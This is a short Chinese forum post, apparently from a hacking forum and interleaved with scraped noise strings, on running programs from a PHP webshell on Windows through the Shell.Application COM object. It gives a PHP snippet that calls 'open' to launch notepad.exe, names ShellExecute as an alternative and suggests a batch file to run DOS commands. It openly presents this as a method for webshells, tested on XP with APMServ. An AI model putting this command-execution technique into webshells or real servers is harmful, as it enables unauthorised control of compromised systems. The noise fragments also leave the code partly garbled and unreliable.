关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
$ r1 x# Z: S- T e1 G3 b; \% u9 x0 L; |3 T; b' J/ l4 D7 z) `
今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法
4 M0 o6 T( J; \( [/ ~
9 V% O! W& V8 H" T5 s$ I<?php
5 c- o( |# _9 i+ i, u$wsh = new COM('Shell.Application') or die("Shell.Application");, U9 |. h' Y) e$ D; b: z% l
$exec = $wsh->open("c:\\windows\\system32\\notepad.exe");
, z& ^% ~! Q; m2 E+ E9 Z //没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
( y3 c4 s$ k1 |?>- f8 e! }4 z+ N& b' f& A* X1 H0 b
$ x; p T8 Q* e
xp+APMServ5.2.0测试通过。
/ T' y2 t. q6 Y0 M! N |